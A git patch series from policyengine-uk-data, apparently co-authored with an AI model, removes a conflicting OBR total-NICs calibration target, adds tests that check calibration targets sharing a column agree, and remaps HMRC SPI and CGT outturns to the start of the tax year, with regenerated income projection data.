From ff0b130167fd86613de1e108a1433f51fb8cfbc1 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Sun, 4 Oct 2026 21:37:09 -0400
Subject: [PATCH 01/76] Stop targeting OBR total NICs on ni_employee
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

The cash-receipts parser targeted Table 3.8 "National insurance
contributions" (total NICs, £200.08bn in 2025-26) on the ni_employee
variable, which _parse_nics also targets at the Class 1 employee figure
(£49.54bn). The two targets on one matrix column contradicted each other;
the seeded constituency calibration on main b45c373 ended with obr/ni at
0.242 of target.

Drop the row rather than retarget it: the Table 3.4 class targets
(employee, employer, self-employed) already cover every NIC class the data
populates, and a total target on total_national_insurance would conflict
with them through the statutory payment recoveries and "Other NIC" lines
PE-UK does not model.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 policyengine_uk_data/targets/sources/obr.py | 12 +++++++++++-
 1 file changed, 11 insertions(+), 1 deletion(-)

diff --git a/policyengine_uk_data/targets/sources/obr.py b/policyengine_uk_data/targets/sources/obr.py
index ad4e3cf1..7da502e7 100644
--- a/policyengine_uk_data/targets/sources/obr.py
+++ b/policyengine_uk_data/targets/sources/obr.py
@@ -182,6 +182,7 @@ def _parse_receipts(wb: openpyxl.Workbook) -> list[Target]:
     the standard fiscal forecasting convention. Other receipts use the
     current-receipts table (cash basis) since they only appear there; that
     table is located by title because EFO vintages renumber the sheets.
+    NICs are not read here: ``_parse_nics`` targets them by class.
     """
     config = load_config()
     vintage = config["obr"]["vintage"]
@@ -237,9 +238,18 @@ def read_39(ws, row_num: int) -> dict[int, float]:
     # located by title rather than number: EFO vintages renumber the tables, and
     # in March 2026 current receipts moved to 3.8 while 3.9 became the APD
     # forecast, which silently yielded no targets at all.
+    #
+    # The "National insurance contributions" row is deliberately not targeted.
+    # It is total NICs, and it used to be targeted on ni_employee, which
+    # _parse_nics also targets at the Class 1 employee figure (£200bn against
+    # £50bn on one variable in 2025-26). Retargeting it on
+    # total_national_insurance would still conflict: the total also counts
+    # statutory payment recoveries and "Other NIC" (Class 1A, 1B and 3,
+    # settlements, unallocated). PE-UK has no variable for the first three, and
+    # no dataset fills Class 3 (#378). The class targets already cover every
+    # NIC class the data populates.
     ws39 = _find_receipts_sheet(wb)
     cash_rows = {
-        "ni": ("National insurance contributions", "ni_employee"),
         "vat": ("Value added tax", "vat"),
         "fuel_duties": ("Fuel duties", "fuel_duty"),
         "capital_gains_tax": ("Capital gains tax", "capital_gains_tax"),

From 64d07fc07c130135ce4ed83b2a2f2cc16d53c0a7 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Sun, 4 Oct 2026 21:37:09 -0400
Subject: [PATCH 02/76] Test OBR target variables and shared-column agreement

- test_obr_target_mapping: pin the variable of every target parsed from the
  committed receipts workbook, the Table 3.4 rows behind the NIC class
  targets, and the source identity that rules out a total-NICs target.
- test_obr_target_conflicts: no two calibration targets whose matrix column
  is the same plain variable sum or count may disagree on a year's value,
  checked over the OBR targets offline and over every target the national
  matrix uses; it flags the removed obr/ni mapping, and a seeded random
  check holds the grouped check to its pairwise definition.
- build_loss_matrix.calibration_targets: the target list create_target_matrix
  already built inline, extracted so the test checks the same set.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 changelog.d/obr-ni-total-target.fixed.md      |   1 +
 .../targets/build_loss_matrix.py              |  30 ++--
 .../tests/test_obr_receipts_sheet.py          |   6 +-
 .../tests/test_obr_target_conflicts.py        | 156 ++++++++++++++++++
 .../tests/test_obr_target_mapping.py          | 103 ++++++++++++
 5 files changed, 281 insertions(+), 15 deletions(-)
 create mode 100644 changelog.d/obr-ni-total-target.fixed.md
 create mode 100644 policyengine_uk_data/tests/test_obr_target_conflicts.py
 create mode 100644 policyengine_uk_data/tests/test_obr_target_mapping.py

diff --git a/changelog.d/obr-ni-total-target.fixed.md b/changelog.d/obr-ni-total-target.fixed.md
new file mode 100644
index 00000000..21af4b12
--- /dev/null
+++ b/changelog.d/obr-ni-total-target.fixed.md
@@ -0,0 +1 @@
+Stop calibrating OBR total NICs (Table 3.8, £200bn in 2025-26) on `ni_employee`, which the Class 1 employee NICs target (£50bn) also used; the two targets on one matrix column could not both be met. The Table 3.4 class targets (employee, employer, self-employed) already cover every NIC class the data populates. Tests now pin each OBR target's variable and check that no two calibration targets sharing a plain-variable column disagree on a year's value.
diff --git a/policyengine_uk_data/targets/build_loss_matrix.py b/policyengine_uk_data/targets/build_loss_matrix.py
index 9552aeea..81ebbaa8 100644
--- a/policyengine_uk_data/targets/build_loss_matrix.py
+++ b/policyengine_uk_data/targets/build_loss_matrix.py
@@ -61,6 +61,22 @@
 logger = logging.getLogger(__name__)
 
 
+def calibration_targets() -> list[Target]:
+    """The national, regional and country targets the national matrix uses."""
+    targets = []
+    seen = set()
+    for level in (
+        GeographicLevel.NATIONAL,
+        GeographicLevel.REGION,
+        GeographicLevel.COUNTRY,
+    ):
+        for t in get_all_targets(geographic_level=level):
+            if t.name not in seen:
+                seen.add(t.name)
+                targets.append(t)
+    return targets
+
+
 def create_target_matrix(
     dataset,
     time_period: str = None,
@@ -89,23 +105,11 @@ def create_target_matrix(
 
     ctx = _SimContext(sim, time_period, dataset, reform)
 
-    all_targets = []
-    seen = set()
-    for level in (
-        GeographicLevel.NATIONAL,
-        GeographicLevel.REGION,
-        GeographicLevel.COUNTRY,
-    ):
-        for t in get_all_targets(geographic_level=level):
-            if t.name not in seen:
-                seen.add(t.name)
-                all_targets.append(t)
-
     df = pd.DataFrame()
     target_names = []
     target_values = []
 
-    for target in all_targets:
+    for target in calibration_targets():
         try:
             val = _resolve_value(target, year)
             if val is None:
diff --git a/policyengine_uk_data/tests/test_obr_receipts_sheet.py b/policyengine_uk_data/tests/test_obr_receipts_sheet.py
index d8b2928d..a3b5a443 100644
--- a/policyengine_uk_data/tests/test_obr_receipts_sheet.py
+++ b/policyengine_uk_data/tests/test_obr_receipts_sheet.py
@@ -122,7 +122,8 @@ def test_raises_when_rows_are_found_but_yield_no_values(monkeypatch):
 
 
 def test_parses_rows_when_values_are_present(monkeypatch):
-    """The same sheet with values yields one target per cash-basis row."""
+    """The same sheet with values yields one target per cash-basis row, except
+    total NICs, which the NICs parser targets by class instead."""
     monkeypatch.setattr(
         "policyengine_uk_data.targets.sources.obr.load_config",
         lambda: {"obr": {"vintage": "test", "efo_receipts": "https://example.invalid"}},
@@ -130,4 +131,5 @@ def test_parses_rows_when_values_are_present(monkeypatch):
     targets = _parse_receipts(_receipts_wb(populate=True))
     names = {target.name for target in targets}
     assert "obr/capital_gains_tax" in names
-    assert len(names) == 5
+    assert "obr/ni" not in names
+    assert len(names) == 4
diff --git a/policyengine_uk_data/tests/test_obr_target_conflicts.py b/policyengine_uk_data/tests/test_obr_target_conflicts.py
new file mode 100644
index 00000000..192cd471
--- /dev/null
+++ b/policyengine_uk_data/tests/test_obr_target_conflicts.py
@@ -0,0 +1,156 @@
+"""Calibration targets that share a matrix column must agree.
+
+A target whose column is a plain sum (or recipient count) of one variable
+shares that column with every other such target on the same variable. Two of
+them with different values for one year contradict each other: no weights
+meet both, so the optimiser splits the difference and distorts everything
+else. obr/ni (total NICs, £200bn in 2025-26) and obr/ni_employee (£50bn) did
+exactly that on ni_employee.
+
+The column a target gets is decided by ``build_loss_matrix._compute_column``,
+so these tests ask that dispatcher rather than restating its rules: every
+custom compute function is swapped for a sentinel, so only targets that reach
+the plain-variable fallbacks get a column key.
+"""
+
+import math
+import random
+from unittest.mock import patch
+
+import pytest
+import requests
+
+from policyengine_uk_data.targets import build_loss_matrix as blm
+from policyengine_uk_data.targets.schema import Target, Unit
+from policyengine_uk_data.targets.sources import obr
+
+# Targets allowed to share a plain-variable column with different values: the
+# frozenset of their names, mapped to the reason. None are intended today.
+INTENDED_SHARED_COLUMNS: dict[frozenset[str], str] = {}
+
+
+@pytest.fixture
+def column_of(monkeypatch):
+    """Map a target to ("sum" | "count", variable, countries), or None."""
+    for name in dir(blm):
+        if name.startswith("compute_"):
+            monkeypatch.setattr(blm, name, lambda *args, **kwargs: None)
+    monkeypatch.setattr(blm, "_compute_simple_gbp", lambda t, ctx: ("sum", t.variable))
+    monkeypatch.setattr(
+        blm, "_compute_simple_count", lambda t, ctx: ("count", t.variable)
+    )
+
+    def column(target):
+        if target.custom_compute is not None:
+            return None
+        key = blm._compute_column(target, None, None)
+        if key is None:
+            return None
+        # Targets restricted to different countries get different columns
+        # (the ``countries`` field proposed in #490 and #530).
+        countries = getattr(target, "countries", None)
+        return key + (tuple(countries) if countries else None,)
+
+    return column
+
+
+def conflicts(targets, column) -> set[tuple]:
+    """(column, year, names) for every shared column whose values disagree."""
+    groups: dict[tuple, list[Target]] = {}
+    for target in targets:
+        if (key := column(target)) is not None:
+            groups.setdefault(key, []).append(target)
+    found = set()
+    for key, group in groups.items():
+        for year in {y for t in group for y in t.values}:
+            values = {
+                t.name: v
+                for t in group
+                if (v := blm._resolve_value(t, year)) is not None
+            }
+            first = next(iter(values.values()), None)
+            if any(not math.isclose(v, first, rel_tol=1e-9) for v in values.values()):
+                names = frozenset(values)
+                if names not in INTENDED_SHARED_COLUMNS:
+                    found.add((key, year, names))
+    return found
+
+
+@pytest.fixture(scope="module")
+def obr_targets():
+    obr._download_workbook.cache_clear()
+
+    def get(*args, **kwargs):
+        raise requests.ConnectionError("offline")
+
+    with (
+        patch.object(obr.requests, "get", side_effect=get),
+        patch.object(obr.time, "sleep", lambda s: None),
+    ):
+        targets = obr.get_targets()
+    obr._download_workbook.cache_clear()
+    return targets
+
+
+def test_obr_targets_agree_on_shared_columns(obr_targets, column_of):
+    assert conflicts(obr_targets, column_of) == set()
+
+
+def test_total_nics_on_ni_employee_is_flagged(obr_targets, column_of):
+    """The check fails on the mapping this PR removed."""
+    total_nics = Target(
+        name="obr/ni",
+        variable="ni_employee",
+        source="obr",
+        unit=Unit.GBP,
+        values={2025: 200.08e9},
+    )
+    found = conflicts(obr_targets + [total_nics], column_of)
+    assert {(key, names) for key, _, names in found} == {
+        (("sum", "ni_employee", None), frozenset({"obr/ni", "obr/ni_employee"}))
+    }
+    assert 2025 in {year for _, year, _ in found}
+
+
+def test_calibration_targets_agree_on_shared_columns(column_of):
+    """Every national, regional and country target the national matrix uses."""
+    assert conflicts(blm.calibration_targets(), column_of) == set()
+
+
+def _brute_force(targets, column) -> set[tuple]:
+    """Reference: compare every pair of targets directly."""
+    found = set()
+    for i, a in enumerate(targets):
+        for b in targets[i + 1 :]:
+            if column(a) is None or column(a) != column(b):
+                continue
+            for year in set(a.values) | set(b.values):
+                va, vb = blm._resolve_value(a, year), blm._resolve_value(b, year)
+                if None not in (va, vb) and not math.isclose(va, vb, rel_tol=1e-9):
+                    found.add((column(a), year))
+    return found
+
+
+def test_conflict_check_matches_pairwise_definition(column_of):
+    """Seeded random target sets: the grouped check flags exactly the
+    (column, year) pairs a pairwise comparison does. Covers custom columns,
+    counts against sums, and the nearest-earlier-year fallback."""
+    rng = random.Random(0)
+    for _ in range(300):
+        targets = []
+        for i in range(rng.randint(0, 8)):
+            is_count = rng.random() < 0.3
+            years = rng.sample(range(2020, 2027), rng.randint(1, 3))
+            targets.append(
+                Target(
+                    name=f"synthetic/{i}",
+                    variable=rng.choice(["a", "b", "c"]),
+                    source="synthetic",
+                    unit=Unit.COUNT if is_count else Unit.GBP,
+                    is_count=is_count,
+                    values={y: rng.choice([1.0, 2.0]) for y in years},
+                    custom_compute=(lambda *a: None) if rng.random() < 0.2 else None,
+                )
+            )
+        grouped = {(key, year) for key, year, _ in conflicts(targets, column_of)}
+        assert grouped == _brute_force(targets, column_of)
diff --git a/policyengine_uk_data/tests/test_obr_target_mapping.py b/policyengine_uk_data/tests/test_obr_target_mapping.py
new file mode 100644
index 00000000..65643059
--- /dev/null
+++ b/policyengine_uk_data/tests/test_obr_target_mapping.py
@@ -0,0 +1,103 @@
+"""Pin which PE-UK variable each OBR receipts target calibrates.
+
+The cash-receipts parser once targeted total NICs ("National insurance
+contributions", Table 3.8) on ``ni_employee``, the variable the NICs parser
+targets at Class 1 employee NICs alone. These tests read the committed EFO
+workbooks offline and pin the receipts targets' variables, the rows the NIC
+targets come from, and why total NICs has no target of its own.
+"""
+
+from unittest.mock import patch
+
+import openpyxl
+import pytest
+import requests
+
+from policyengine_uk_data.storage import STORAGE_FOLDER
+from policyengine_uk_data.targets.sources import obr
+
+# Every target parsed from the receipts workbook. Expenditure-side and static
+# OBR targets are left to their own tests.
+EXPECTED_VARIABLES = {
+    "obr/income_tax": "income_tax",
+    "obr/vat": "vat",
+    "obr/fuel_duties": "fuel_duty",
+    "obr/capital_gains_tax": "capital_gains_tax",
+    "obr/sdlt": "stamp_duty_land_tax",
+    "obr/ni_employee": "ni_employee",
+    "obr/ni_employer": "ni_employer",
+    "obr/ni_self_employed": "ni_self_employed",
+}
+
+# Table 3.4 rows under "National insurance contributions" in the committed
+# workbook: the class targets, then the rows the model leaves empty.
+CLASS_ROWS = {
+    "obr/ni_employee": "Class 1 Employee NICs",
+    "obr/ni_employer": "Class 1 Employer NICs",
+    "obr/ni_self_employed": "Class 4 and Class 2 Self employed NICs",
+}
+UNMODELLED_ROWS = ("Statutory payment recoveries", "Other NIC")
+
+
+@pytest.fixture(scope="module")
+def offline_targets():
+    obr._download_workbook.cache_clear()
+
+    def get(*args, **kwargs):
+        raise requests.ConnectionError("offline")
+
+    with (
+        patch.object(obr.requests, "get", side_effect=get),
+        patch.object(obr.time, "sleep", lambda s: None),
+    ):
+        targets = obr.get_targets()
+    obr._download_workbook.cache_clear()
+    return {t.name: t for t in targets}
+
+
+@pytest.fixture(scope="module")
+def receipts():
+    return openpyxl.load_workbook(
+        STORAGE_FOLDER / "obr_efo" / "efo_receipts.xlsx", data_only=True
+    )
+
+
+def _row_2025(ws, label: str, column: str) -> float:
+    """Value for 2025-26 (in £) of the row whose label starts with ``label``."""
+    return ws[f"{column}{obr._find_row(ws, label)}"].value * 1e9
+
+
+def test_receipts_target_variables_are_pinned():
+    wb = obr._fallback_workbook("efo-receipts")
+    targets = obr._parse_receipts(wb) + obr._parse_nics(wb)
+    assert {t.name: t.variable for t in targets} == EXPECTED_VARIABLES
+
+
+def test_total_nics_row_exists_but_has_no_target(offline_targets, receipts):
+    """The absence comes from the mapping, not from a missing row."""
+    cash = obr._find_receipts_sheet(receipts)
+    total = _row_2025(cash, "National insurance contributions", "E")
+    assert total > 150e9
+    assert "obr/ni" not in offline_targets
+    assert all(t.values.get(2025) != total for t in offline_targets.values())
+
+
+@pytest.mark.parametrize("name,label", CLASS_ROWS.items())
+def test_nic_class_targets_read_table_3_4(offline_targets, receipts, name, label):
+    expected = _row_2025(receipts["3.4"], label, "D")
+    assert offline_targets[name].values[2025] == pytest.approx(expected)
+
+
+def test_class_targets_and_unmodelled_rows_make_up_total_nics(receipts):
+    """Why total NICs is not targeted on total_national_insurance.
+
+    The class targets plus rows the model leaves empty (statutory payment
+    recoveries; Class 1A, 1B and 3 in "Other NIC") sum to the Table 3.4 total,
+    so a total target would demand NICs no household carries.
+    """
+    ws = receipts["3.4"]
+    total = _row_2025(ws, "National insurance contributions", "D")
+    classes = sum(_row_2025(ws, label, "D") for label in CLASS_ROWS.values())
+    unmodelled = sum(_row_2025(ws, label, "D") for label in UNMODELLED_ROWS)
+    assert unmodelled > 0
+    assert classes + unmodelled == pytest.approx(total, abs=0.02e9)

From ca87af441bcf5d6830d2255ac84f9e230a422197 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Sat, 10 Oct 2026 17:29:48 -0400
Subject: [PATCH 03/76] Map the 2023-24 SPI and CGT outturns to PolicyEngine
 year 2023
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

PolicyEngine UK's year N is tax year N to N+1: convert_to_fiscal_year_parameters
gives every parameter, the uprating indices included, its value at 30 April N.
hmrc_spi mapped the 2023-24 SPI to 2024 and hmrc_cgt followed, so both treated
2023-24 outturns as 2024-25 values and every projected year carried one year
too little uprating. The FRS release (2024-25 -> 2024), OBR targets, the SPI
microdata (2022-23 -> 2022) and #533's salary sacrifice tables already use the
start year; the end-year mapping arrived without stated reasoning in the
February 2026 registry refactor (de061fc).

- _SPI_YEAR and _CGT_BASE_YEAR move to 2023; incomes_projection.csv is
  regenerated from the same ODS (its 2023 rows equal main's 2024 rows).
- The CGT base year is now gated at the £6,000 AEA the outturn was realised
  under.
- Tests tie _SPI_YEAR to the tax year in the configured ODS name, check the
  CGT base-year AEA against policyengine-uk, and (as in #541) check that the
  committed projection is the SPI table uprated with the committed factors.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 changelog.d/spi-cgt-tax-year-start.fixed.md   |   1 +
 .../storage/incomes_projection.csv            | 182 ++++++++++--------
 .../targets/sources/hmrc_cgt.py               |  30 +--
 .../targets/sources/hmrc_spi.py               |   6 +-
 .../tests/test_hmrc_cgt_targets.py            |  16 +-
 .../tests/test_income_projection.py           |  29 +++
 .../tests/test_property_income_targets.py     |   3 +-
 7 files changed, 165 insertions(+), 102 deletions(-)
 create mode 100644 changelog.d/spi-cgt-tax-year-start.fixed.md

diff --git a/changelog.d/spi-cgt-tax-year-start.fixed.md b/changelog.d/spi-cgt-tax-year-start.fixed.md
new file mode 100644
index 00000000..b49b12b5
--- /dev/null
+++ b/changelog.d/spi-cgt-tax-year-start.fixed.md
@@ -0,0 +1 @@
+Map the HMRC Survey of Personal Incomes and capital gains tax 2023-24 outturns to PolicyEngine year 2023, the tax year they describe, instead of 2024. Income-band, local income and capital gains targets for 2024 onwards now carry one more year of uprating.
diff --git a/policyengine_uk_data/storage/incomes_projection.csv b/policyengine_uk_data/storage/incomes_projection.csv
index b8db818e..961476a1 100644
--- a/policyengine_uk_data/storage/incomes_projection.csv
+++ b/policyengine_uk_data/storage/incomes_projection.csv
@@ -1,85 +1,99 @@
 total_income_lower_bound,total_income_upper_bound,employment_income_count,employment_income_amount,self_employment_income_count,self_employment_income_amount,state_pension_count,state_pension_amount,private_pension_income_count,private_pension_income_amount,property_income_count,property_income_amount,savings_interest_income_count,savings_interest_income_amount,dividend_income_count,dividend_income_amount,year
-12570,15000.0,1360000,16900000000,444000,4810000000,1140000,11800000000,1070000,4350000000,101000,670000000,1250000,274000000,115000,175000000,2024
-15000,20000.0,3100000,48600000000,651000,8030000000,2050000,22200000000,2140000,13600000000,232000,1690000000,2840000,1370000000,372000,855000000,2024
-20000,30000.0,7470000,172000000000,961000,15700000000,2320000,24900000000,2660000,30200000000,431000,3820000000,5250000,3130000000,843000,3330000000,2024
-30000,40000.0,5370000,170000000000,595000,12600000000,1160000,12300000000,1450000,24900000000,364000,3800000000,3690000,2530000000,667000,4700000000,2024
-40000,50000.0,3500000,139000000000,359000,8730000000,568000,6020000000,779000,16900000000,325000,3780000000,2370000,1870000000,627000,8400000000,2024
-50000,70000.0,3430000,174000000000,311000,8220000000,441000,4660000000,643000,17400000000,397000,5400000000,2230000,2340000000,643000,12500000000,2024
-70000,100000.0,1640000,118000000000,143000,5360000000,176000,1890000000,259000,9470000000,226000,3770000000,1070000,1620000000,336000,9440000000,2024
-100000,150000.0,791000,82300000000,85000,4980000000,74000,847000000,109000,5430000000,137000,2550000000,489000,1260000000,222000,6870000000,2024
-150000,200000.0,264000,39200000000,40000,3650000000,21000,265000000,29000,1810000000,54000,1150000000,146000,650000000,92000,3450000000,2024
-200000,300000.0,180000,36600000000,34000,4390000000,14000,179000000,20000,1570000000,41000,1050000000,111000,733000000,75000,3700000000,2024
-300000,500000.0,93000,29000000000,21000,4840000000,8000,96000000,10000,1120000000,23000,765000000,68000,673000000,49000,3430000000,2024
-500000,1000000.0,44000,23100000000,15000,6670000000,3000,43000000,4000,640000000,13000,474000000,38000,653000000,32000,3820000000,2024
-1000000,inf,21000,35500000000,11000,19500000000,2000,20000000,2000,370000000,7000,439000000,21000,1240000000,19000,11100000000,2024
-12570,inf,27263000,1084200000000,3670000,107480000000,7977000,85220000000,9175000,127760000000,2351000,29358000000,19573000,18343000000,4092000,71770000000,2024
-12570,15000.0,1375891,17529896907,449188,5033426819,1153320,12181568310,1082502,4556072351,102180,688579832,1264606,281598319,116344,179852941,2025
-15000,20000.0,3136222,50411419508,658607,8402997371,2073953,22917865804,2165005,14244272179,234711,1736865546,2873184,1407991597,376347,878710084,2025
-20000,30000.0,7557283,178410785091,972229,16429272568,2347108,25705173808,2691081,31630663221,436036,3925932773,5311344,3216798319,852850,3422344538,2025
-30000,40000.0,5432746,176336241079,601952,13185276074,1173554,12697736459,1466943,26079586563,368253,3905378151,3733116,2600159664,674794,4830336134,2025
-40000,50000.0,3540896,144180808882,363195,9135512708,574637,6214664511,788102,17700602929,328797,3884823529,2397692,1921857143,634326,8632941176,2025
-50000,70000.0,3470078,180485329104,314634,8601822962,446153,4810687146,650513,18224289406,401639,5549747899,2256056,2404890756,650513,12846638655,2025
-70000,100000.0,1659163,122398096749,144671,5608974584,178056,1951115602,262026,9918621878,228641,3874546218,1082502,1664924370,339926,9701781513,2025
-100000,150000.0,800242,85367486122,85993,5211323401,74865,874388844,110274,5687235142,138601,2620714286,494714,1294941176,224594,7060512605,2025
-150000,200000.0,267085,40661062649,40467,3819544259,21245,273569119,29339,1895745047,54631,1181890756,147706,668025210,93075,3545672269,2025
-200000,300000.0,182103,37964155432,34397,4593917616,14164,184788197,20234,1644375538,41479,1079117647,112297,753326891,75876,3802605042,2025
-300000,500000.0,94087,30080888184,21245,5064820333,8093,99104285,10117,1173057709,23269,786214286,68795,691663025,49573,3525117647,2025
-500000,1000000.0,44514,23960983347,15175,6979824715,3035,44390461,4047,670318691,13152,487144538,38444,671108403,32374,3925932773,2025
-1000000,inf,21245,36823156225,11129,20405784400,2023,20646726,2023,387527993,7082,451173950,21245,1274386555,19222,11407815126,2025
-12570,inf,27581555,1124610309278,3712882,112472497809,8070207,87975699272,9282205,133812368648,2378470,30172129412,19801701,18851671429,4139813,73760260504,2025
-12570,15000.0,1385161,17918556701,452214,5189404032,1161091,12410509297,1089796,4724677003,102869,708285714,1273126,289657143,117128,185000000,2026
-15000,20000.0,3157352,51529103886,663044,8663391762,2087926,23348585287,2179591,14771403962,236292,1786571429,2892541,1448285714,378882,903857143,2026
-20000,30000.0,7608199,182366375892,978779,16938387379,2362921,26188278092,2709211,32801205857,438974,4038285714,5347128,3308857143,858596,3520285714,2026
-30000,40000.0,5469348,180245836638,606008,13593865031,1181461,12936378335,1476826,27044702842,370734,4017142857,3758267,2674571429,679340,4968571429,2026
-40000,50000.0,3564752,147377478192,365642,9418606486,578508,6331463217,793412,18355641688,331013,3996000000,2413846,1976857143,638600,8880000000,2026
-50000,70000.0,3493457,184486915147,316754,8868378615,449159,4901099434,654896,18898708010,404345,5708571429,2271256,2473714286,654896,13214285714,2026
-70000,100000.0,1670341,125111816019,145646,5782787029,179256,1987784964,263792,10285676141,230181,3985428571,1089796,1712571429,342216,9979428571,2026
-100000,150000.0,805634,87260190325,86573,5372813322,75369,890822150,111017,5897700258,139535,2695714286,498047,1332000000,226107,7262571429,2026
-150000,200000.0,268884,41562569389,40740,3937905346,21389,278710590,29537,1965900086,54999,1215714286,148701,687142857,93702,3647142857,2026
-200000,300000.0,183330,38805868358,34629,4736275197,14259,188261116,20370,1705228252,41759,1110000000,113054,774885714,76388,3911428571,2026
-300000,500000.0,94721,30747819191,21389,5221770377,8148,100966855,10185,1216468562,23426,808714286,69258,711457143,49907,3626000000,2026
-500000,1000000.0,44814,24492228390,15278,7196117441,3056,45224737,4074,695124892,13241,501085714,38703,690314286,32592,4038285714,2026
-1000000,inf,21389,37639571768,11204,21038124452,2037,21034762,2037,401869078,7130,464085714,21389,1310857143,19352,11734285714,2026
-12570,inf,27767379,1149544329897,3737897,115957826468,8124578,89629118836,9344742,138764306632,2394495,31035600000,19935110,19391171429,4167704,75871142857,2026
-12570,15000.0,1395755,18293814433,455673,5353812445,1169971,12658528698,1098130,4825839793,103655,730243697,1282863,298636975,118023,190735294,2027
-15000,20000.0,3181500,52608247423,668115,8937861525,2103895,23815198060,2196261,15087683032,238099,1841957983,2914664,1493184874,381780,931878151,2027
-20000,30000.0,7666388,186185567010,986265,17475021911,2380993,26711641067,2729932,33503531438,442331,4163478992,5388023,3411436975,865163,3629420168,2027
-30000,40000.0,5511178,184020618557,610643,14024539877,1190497,13194907033,1488121,27623772610,373570,4141680672,3787011,2757487395,684536,5122605042,2027
-40000,50000.0,3592016,150463917526,368438,9717002629,582933,6457995150,799480,18748664944,333544,4119882353,2432308,2038142857,643484,9155294118,2027
-50000,70000.0,3520175,188350515464,319176,9149342682,452594,4999046079,659905,19303359173,407437,5885546218,2288627,2550403361,659905,13623949580,2027
-70000,100000.0,1683116,127731958763,146759,5965994741,180627,2027510105,265809,10505908699,231942,4108983193,1098130,1765663866,344833,10288806723,2027
-100000,150000.0,811796,89087628866,87235,5543032428,75945,908624899,111866,6023979328,140602,2779285714,501856,1373294118,227836,7487722689,2027
-150000,200000.0,270941,42432989691,41052,4062664330,21552,284280517,29762,2007993109,55420,1253403361,149838,708445378,94419,3760210084,2027
-200000,300000.0,184732,39618556701,34894,4886327783,14368,192023444,20526,1741739879,42078,1144411765,113918,798908403,76972,4032689076,2027
-300000,500000.0,95445,31391752577,21552,5387204207,8210,102984640,10263,1242515073,23605,833785714,69788,733513445,50288,3738411765,2027
-500000,1000000.0,45157,25005154639,15394,7424101665,3079,46128537,4105,710008613,13342,516620168,38999,711715126,32841,4163478992,2027
-1000000,inf,21552,38427835052,11289,21704645048,2053,21455133,2053,410473730,7184,478473109,21552,1351495798,19500,12098067227,2027
-12570,inf,27979749,1173618556701,3766485,119631551271,8186717,91420323363,9416212,141735469423,2412808,31997752941,20087577,19992328571,4199579,78223268908,2027
-12570,15000.0,1401052,18709278351,457402,5543514461,1174411,12906548100,1102298,4927002584,104049,754453782,1287731,308537815,118471,197058824,2028
-15000,20000.0,3193574,53803013481,670650,9254557406,2111879,24281810833,2204596,15403962102,239003,1903025210,2925725,1542689076,383229,962773109,2028
-20000,30000.0,7695482,190413957177,990008,18094215600,2390029,27235004042,2740292,34205857020,444010,4301512605,5408471,3524537815,868446,3749747899,2028
-30000,40000.0,5532093,188199841396,612960,14521472393,1195015,13453435732,1493768,28202842377,374987,4278991597,3801383,2848907563,687133,5292436975,2028
-40000,50000.0,3605648,153881046788,369836,10061305872,585145,6584527082,802514,19141688200,334810,4256470588,2441538,2105714286,645926,9458823529,2028
-50000,70000.0,3533535,192628072958,320388,9473531989,454312,5096992724,662409,19708010336,408983,6080672269,2297313,2634957983,662409,14075630252,2028
-70000,100000.0,1689503,130632831086,147316,6177388256,181313,2067235247,266818,10726141258,232822,4245210084,1102298,1824201681,346142,10629915966,2028
-100000,150000.0,814876,91110864393,87566,5739439089,76234,926427648,112290,6150258398,141135,2871428571,503760,1418823529,228701,7735966387,2028
-150000,200000.0,271969,43396669310,41207,4206617003,21634,289850445,29875,2050086133,55630,1294957983,150407,731932773,94777,3884873950,2028
-200000,300000.0,185433,40518318795,35026,5059465381,14423,195785772,20604,1778251507,42238,1182352941,114351,825394958,77264,4166386555,2028
-300000,500000.0,95807,32104678826,21634,5578089395,8241,105002425,10302,1268561585,23694,861428571,70053,757831933,50479,3862352941,2028
-500000,1000000.0,45328,25573037272,15453,7687160386,3091,47032336,4121,724892334,13392,533747899,39147,735310924,32966,4301512605,2028
-1000000,inf,21634,39300555115,11332,22473707274,2060,21875505,2060,419078381,7211,494336134,21634,1396302521,19574,12499159664,2028
-12570,inf,28085934,1200272164948,3780779,123870464505,8217786,93211527890,9451947,144706632214,2421965,33058588235,20163811,20655142857,4215517,80816638655,2028
-12570,15000.0,1408997,19178350515,459996,5754294479,1181071,13164106710,1108549,5043152455,104639,779226891,1295034,318668908,119143,203529412,2029
-15000,20000.0,3211685,55151942902,674454,9606441718,2123856,24766370251,2217098,15767097330,240358,1965512605,2942317,1593344538,385402,994386555,2029
-20000,30000.0,7739124,195187946075,995622,18782208589,2403583,27778496362,2755833,35012230835,446528,4442756303,5439143,3640268908,873371,3872873950,2029
-30000,40000.0,5563466,192918318795,616436,15073619632,1201792,13721907842,1502240,28867700258,377114,4419495798,3822941,2942453782,691030,5466218487,2029
-40000,50000.0,3626095,157739095956,371934,10443865031,588463,6715925627,807065,19592937123,336709,4396235294,2455385,2174857143,649589,9769411765,2029
-50000,70000.0,3553574,197457573354,322204,9833742331,456888,5198706548,666166,20172609819,411303,6280336134,2310341,2721478992,666166,14537815126,2029
-70000,100000.0,1699085,133908009516,148152,6412269939,182341,2108488278,268331,10979000861,234142,4384605042,1108549,1884100840,348105,10978957983,2029
-100000,150000.0,819498,93395162569,88062,5957668712,76666,944915117,112927,6295245478,141936,2965714286,506617,1465411765,229998,7989983193,2029
-150000,200000.0,273511,44484694687,41441,4366564417,21757,295634600,30045,2098415159,55945,1337478992,151260,755966387,95315,4012436975,2029
-200000,300000.0,186485,41534179223,35225,5251840491,14504,199692805,20721,1820172265,42477,1221176471,114999,852497479,77702,4303193277,2029
-300000,500000.0,96351,32909595559,21757,5790184049,8288,107097817,10360,1298466839,23829,889714286,70450,782715966,50765,3989176471,2029
-500000,1000000.0,45585,26214195083,15540,7979447853,3108,47970897,4144,741981051,13468,551273950,39369,759455462,33153,4442756303,2029
-1000000,inf,21757,40285884219,11396,23328220859,2072,22312045,2072,428957795,7252,510568067,21757,1442151261,19685,12909579832,2029
